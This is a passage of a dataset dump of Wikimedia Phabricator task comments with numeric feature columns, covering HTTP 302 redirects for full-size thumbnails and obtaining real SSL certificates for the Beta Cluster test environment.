A better solution would be to return a HTTP 302 to the original file instead, so that the original is still used instead of a superfluous thumbnail when possible, but requests which do not need to fail don't.",Medium,50.0,1416954443,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_description,open,True,c3,1,True,False,,-32,True,0.25,0.0,0.5,2.25,1.0,7.75,2.25,0.0,0.0,1.0,1.75,0.25,0.0,0.0,0.0,0.0,0.5,7.5,10.25,0.0,2.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.75,1.0,0.0,5.25,0.75,0.5,0.0,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.75,0.0,0.5,0.0,0.0,0.0,12.5,0.5,0.75,0.25,0.5,0.0,0.25,0.0,0.0,0.5,0.25,0.5,1.5,0.0,0.0,0.5,0.5,0.0,10.25,5.0,4.75,3.25,2.5,12.25,0.0,0.0,0.0,0.0,4.75,0.0,1.0,0.0,0.5,10.25,1.75,0.0,0.5,0.0,0.5,0.0,2.0,3.75,0.0,1.25,1.0,0.0,0.25,4.040277777777778,0.6711805555555556,"The current MediaWiki behavior, when requesting a thumbnail directly (i.e. by constructing a thumbnail URL, not via the API) is as follows:
* if the size is smaller than the original image size, the thumbnail is served (assuming the wiki is configured to resize images of that type at all)
* if the size is larger than the original, a HTTP 500 is returned (except for vector images, where ""original size"" is a pretty vague concept)
* if the size equals the original, and the thumbnail would be significantly different from the original (more specifically, when mustRender() returns true for that file - e.g. files with EXIF rotations, or files which need to be converted to a different format for browser compatibility), the thumbnail is served
* if the size equals the original, and the thumbnail would be essentially the same as the original, a HTTP 500 is returned.

The last step is presumably done to avoid wasting storage space on thumbnails when the original file would be just as good (which might or might not be a good idea, see T67383), but it is very confusing from a client point of view and makes it hard to construct a reliable thumbnail URL without having very detailed knowledge of the file. (The API can always be used to retrieve the correct URL, but that has a nontrivial time overhead.) See T70320 for an example of problems caused by this.

A better solution would be to return a HTTP 302 to the original file instead, so that the original is still used instead of a superfluous thumbnail when possible, but requests which do not need to fail don't."
795472,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Change 332425 abandoned by Mholloway:
thumb.php: Redirect rather than throwing 400 if requested width >= original

Reason:
Seems not viable as written.  Discussion to be continued on the linked Phab tasks.

[[https://gerrit.wikimedia.org/r/332425]]",,,1485104992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,4.127659574468085,0.851063829787234,"Change 332425 abandoned by Mholloway:
thumb.php: Redirect rather than throwing 400 if requested width >= original

Reason:
Seems not viable as written.  Discussion to be continued on the linked Phab tasks.

[[GERRIT_URL]]"
792300,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Change 332425 had a related patch set uploaded (by Mholloway):
thumb.php: Redirect rather than throwing 400 if requested width >= original

[[https://gerrit.wikimedia.org/r/332425]]
",,,1484634367,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,80,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,15.0,4.121212121212121,0.9090909090909091,"Change 332425 had a related patch set uploaded (by Mholloway):
thumb.php: Redirect rather than throwing 400 if requested width >= original

[[GERRIT_URL]]
"
759284,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,">>! In T75935#2786421, @bearND wrote:
> Sounds like this is an implementation proposal for T74328.

That task is about asking for a larger size than what exists; this is about asking the same size as the original, but in a wrong way. They should probably handled the same way though.",,,1478803636,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,71,True,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,9.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,5.0,2.0,0.0,0.0,3.7674418604651163,0.7441860465116279,"QUOTE
QUOTE

That task is about asking for a larger size than what exists; this is about asking the same size as the original, but in a wrong way. They should probably handled the same way though."
759274,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"The ideal solution would be to do this + cache redirects in Varnish and somehow resolve them internally (ie. return the content cached for the redirected URL instead, with a HTTP 200). No idea how hard that is.",,,1478803016,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,71,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,5.0,11.0,2.0,5.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.9318181818181817,0.9318181818181818,"The ideal solution would be to do this + cache redirects in Varnish and somehow resolve them internally (ie. return the content cached for the redirected URL instead, with a HTTP 200). No idea how hard that is."
759201,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,Sounds like this is an implementation proposal for T74328.,,,1478799228,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,False,,,71,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Sounds like this is an implementation proposal for T74328.
493150,Reply with HTTP 302 (temporarily moved) instead of HTTP 500 when a full-sized thumbnail is requested,"Also for T77697, having two CDN buckets (one for thumbs and one for originals) would be easier if this special case did not exist. Actual HTTP 200s would be desired for that use case however, rather than 302s.",,,1437166321,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-gcvlv7xchfnzqvrzgbkk,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.909090909090909,0.7954545454545454,"Also for T77697, having two CDN buckets (one for thumbs and one for originals) would be easier if this special case did not exist. Actual HTTP 200s would be desired for that use case however, rather than 302s."
75919,Setup real ssl certs for Beta Cluster using a restricted project,"This issue has been biting us a lot recently (where ""this issue"" == ""people's browsers requesting https: beta address and it failing""). Let's fix this finally.


**Proposal:**
//(feel free to edit this description with clarifications/additions)//
1. buy real certs (T50501 and https://rt.wikimedia.org/Ticket/Display.html?id=6116)
  * Still needs cost approval, @greg can work on that
  * glorious future of letsencrypt.org would reduce this cost to $0, but we shouldn't wait on that (""Arriving Summer 2015"")
2. make new labs project, restrict access a lot
3. just ssl terminate there, proxy back to regular deployment-prep setup



**This gets us:**
* Lets us set the config like prod (https by default for login etc)
* No self-signed certs!
** no breaking browser tests (though that's fixable)
** no annoying users with cryptic warnings
* Members of the Beta Cluster project can have sudo without access to the private certs (see T71269)
* Resolves:
** {T70387}
** {T72145}
",Medium,50.0,1416945452,1457835464.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_description,invalid,True,c3,1,True,False,False,-32,True,0.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,2.6666666666666665,6.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,14.333333333333334,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,7.333333333333333,0.6666666666666666,1.0,6.333333333333333,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,0.0,1.6666666666666667,0.0,2.3333333333333335,6.0,4.666666666666667,0.0,2.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,1.0,1.6666666666666667,0.0,0.0,1.6666666666666667,3.5253216374269005,0.7564912280701753,"This issue has been biting us a lot recently (where ""this issue"" == ""people's browsers requesting https: beta address and it failing""). Let's fix this finally.


**Proposal:**
//(feel free to edit this description with clarifications/additions)//
1. buy real certs (T50501 and URL
  * Still needs cost approval,SCREEN_NAME can work on that
  * glorious future of letsencrypt.org would reduce this cost to $0, but we shouldn't wait on that (""Arriving Summer 2015"")
2. make new labs project, restrict access a lot
3. just ssl terminate there, proxy back to regular deployment-prep setup



**This gets us:**
* Lets us set the config like prod (https by default for login etc)
* No self-signed certs!
** no breaking browser tests (though that's fixable)
** no annoying users with cryptic warnings
* Members of the Beta Cluster project can have sudo without access to the private certs (see T71269)
* Resolves:
** {T70387}
** {T72145}
"
982514,Setup real ssl certs for Beta Cluster using a restricted project,T182927 has been opened,,,1513299761,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,128,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,T182927 has been opened
628749,Setup real ssl certs for Beta Cluster using a restricted project,"> we shouldn't wait on that (""Arriving Summer 2015"")

With summer *2016* fast approaching, I think it's time to scrap this plan and just go with Let's Encrypt.
Here are some older tickets on the subject: {T50501}, {T70387} - can we close this in favour of one of them?
This ticket is much newer but we can't do anything with it because it's restricted access: {T97593}
(I'm going to get that restricted ticket either made public or closed.)",,,1457834397,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,36,True,2.0,1.0,0.0,0.0,1.0,5.0,2.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,1.0,4.0,11.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,11.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,9.0,11.0,5.0,1.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,3.4166666666666665,0.7708333333333334,"QUOTE

With summer *2016* fast approaching, I think it's time to scrap this plan and just go with Let's Encrypt.
Here are some older tickets on the subject: {T50501}, {T70387} - can we close this in favour of one of them?
This ticket is much newer but we can't do anything with it because it's restricted access: {T97593}
(I'm going to get that restricted ticket either made public or closed.)"
624617,Setup real ssl certs for Beta Cluster using a restricted project,letsencrypt.org is now available but in beta mode.,,,1457369835,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,letsencrypt.org is now available but in beta mode.
333557,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788525, @chasemp wrote:
> I can understand greg's point, but this is pretty much standard for Dev QA.  Either way it will not be really secure but the cost and process of treating beta lab certs the same as production never seems to add up.

We'll probably need to figure it out at some point as UX/Design/Product/etc want to do more user testing on dev environments. Maybe that use-case is better handled by a non-Beta Cluster labs instance (so covered by *.wmflabs.org) though.",,,1417021157,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,16.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,3.6724137931034484,0.8793103448275862,"QUOTE
QUOTE

We'll probably need to figure it out at some point as UX/Design/Product/etc want to do more user testing on dev environments. Maybe that use-case is better handled by a non-Beta Cluster labs instance (so covered by *.wmflabs.org) though."
333554,Setup real ssl certs for Beta Cluster using a restricted project,Self-signed SSL certificate chains have historically been a huge pain for automated browser testing. @Cmcmahon has pointed this out elsewhere I think.,,,1417021042,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,5.038461538461538,0.9615384615384616,Self-signed SSL certificate chains have historically been a huge pain for automated browser testing.SCREEN_NAME has pointed this out elsewhere I think.
333545,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788221, @hashar wrote:
>>>! In T75919#786302, @greg wrote:
>>>>! In T75919#786292, @hashar wrote:
>>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
>> 
>> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
>> 
>> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).
> 
> What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain.  That is what we had originally. I looked at my browser keychain  and I still have:
> 
> ```
> Cert name: Labs CA
> Sha1 fingerprint: 23 63 65 50 93 24 C4 B5 2A BB 24 C6 85 79 BE 3A BE E5 52 9E
> Trusted for:
> - en.wikipedia.beta.wmflabs.org
> - bits.wikipedia.beta.wmflabs.org
> - upload.wikimedia.beta.wmflabs.org
> ```
> 
> We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.

I can understand greg's point, but this is pretty much standard for Dev QA.  Either way it will not be really secure but the cost and process of treating beta lab certs the same as production never seems to add up.",,,1417020324,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.6216216216216216,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I can understand greg's point, but this is pretty much standard for Dev QA.  Either way it will not be really secure but the cost and process of treating beta lab certs the same as production never seems to add up."
333525,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#788221, @hashar wrote:
>>>! In T75919#786302, @greg wrote:
>>>>! In T75919#786292, @hashar wrote:
>>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
>> 
>> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
>> 
>> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).
> 
> What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain. 

Right, and when someone wants a random user to do a quick user test on Beta Cluster, that's a show stopper.

> We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.

And only helps those who know where to look before hand. I want a solution that will cause the least amount of friction to the average drive by contributor as possible.

",,,1417017229,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,0.0,20.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,13.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,0.0,0.0,0.0,1.0,0.0,3.6219512195121952,0.6097560975609756,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Right, and when someone wants a random user to do a quick user test on Beta Cluster, that's a show stopper.

QUOTE

And only helps those who know where to look before hand. I want a solution that will cause the least amount of friction to the average drive by contributor as possible.

"
333521,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#786302, @greg wrote:
>>>! In T75919#786292, @hashar wrote:
>> I loose track on the rather long {T50501} , but I commented about using a certificate authority to generate  free certs for beta then inject that CA in the browsers used by SauceLabs.
> 
> Except that only helps browser tests, not individual/random contributors who will only be greeted with a big red ""SOMEONE'S TRYING TO HAXOR YOU!"" warning from their browser. We have no way of putting an interstitial/modifying that warning.
> 
> Self-signed is not the way to go if we want humans and random contributors to use Beta Cluster (we do, and will more).

What is the issue with end users? If we use the `Labs CA` authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain.  That is what we had originally. I looked at my browser keychain  and I still have:

```
Cert name: Labs CA
Sha1 fingerprint: 23 63 65 50 93 24 C4 B5 2A BB 24 C6 85 79 BE 3A BE E5 52 9E
Trusted for:
- en.wikipedia.beta.wmflabs.org
- bits.wikipedia.beta.wmflabs.org
- upload.wikimedia.beta.wmflabs.org
```

We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private.",,,1417015891,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.5,0.0,4.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,0.0,4.0,8.0,0.0,3.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,5.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,11.5,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.0,4.0,11.0,1.0,3.0,6.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.5,8.0,4.5,0.5,0.0,0.0,8.5,0.0,1.5,1.5,0.5,0.5,0.0,0.0,0.0,3.743243243243243,0.7297297297297297,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What is the issue with end users? If we use the CODE authority to create self-signed certificates for the beta cluster, human would be prompted with the security issue to accept that untrusted CA for the given domain.  That is what we had originally. I looked at my browser keychain  and I still have:

``CODE``

We could FAQ it and have humans accept the cert for the beta.wmflabs.org domains. I am pretty sure that is what we used to do and it worked fine.  It would be slightly annoying on first use, but I think it is an acceptable annoyance compared to buy ssl certs and managing a policy to keep them really private."
333520,Setup real ssl certs for Beta Cluster using a restricted project,"I'll also note that from a security perspective, since people without NDA *had* root in the past, it would've been trivial for them to acquire sudo again by, uh, planning ahead when they had root (not that I think anyone would have :)). So while still somewhat solid, without re-generating all the machines we can not be completely sure that there are no root exploits :)

As I said, being liberal with sudo and being closer to prod are conflicting requirements, and we've to pick one or the other :)",,,1417015567,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-kdxwi3q4gzdnjwug4iuy,task_subcomment,,True,c3,1,True,,,-32,True,1.0,0.5,1.0,0.0,1.5,6.0,4.5,0.0,0.0,0.0,1.5,2.0,0.0,1.0,1.0,4.0,1.0,7.0,12.0,0.5,1.5,0.0,1.5,0.0,2.0,0.0,0.0,0.5,1.0,1.5,1.0,3.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.5,1.5,0.0,2.5,0.0,0.0,0.5,8.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.0,5.0,4.0,4.0,3.0,5.0,0.0,2.0,0.0,0.0,4.0,0.5,1.5,0.0,5.5,12.0,1.0,0.0,0.0,0.0,5.5,0.0,0.5,0.5,0.5,2.5,1.0,0.0,0.0,3.8525506638714186,0.8317610062893082,"I'll also note that from a security perspective, since people without NDA *had* root in the past, it would've been trivial for them to acquire sudo again by, uh, planning ahead when they had root (not that I think anyone would have :)). So while still somewhat solid, without re-generating all the machines we can not be completely sure that there are no root exploits :)

As I said, being liberal with sudo and being closer to prod are conflicting requirements, and we've to pick one or the other :)"
333519,Setup real ssl certs for Beta Cluster using a restricted project,">>! In T75919#785867, @yuvipanda wrote:
> Can't actually use dynamicproxy, since the cert there is just for *.wmflabs.org. Also, this terminator could be much simpler, since all it needs to do is forward it to the existing deployment-prep setup, without any dynamic routing.

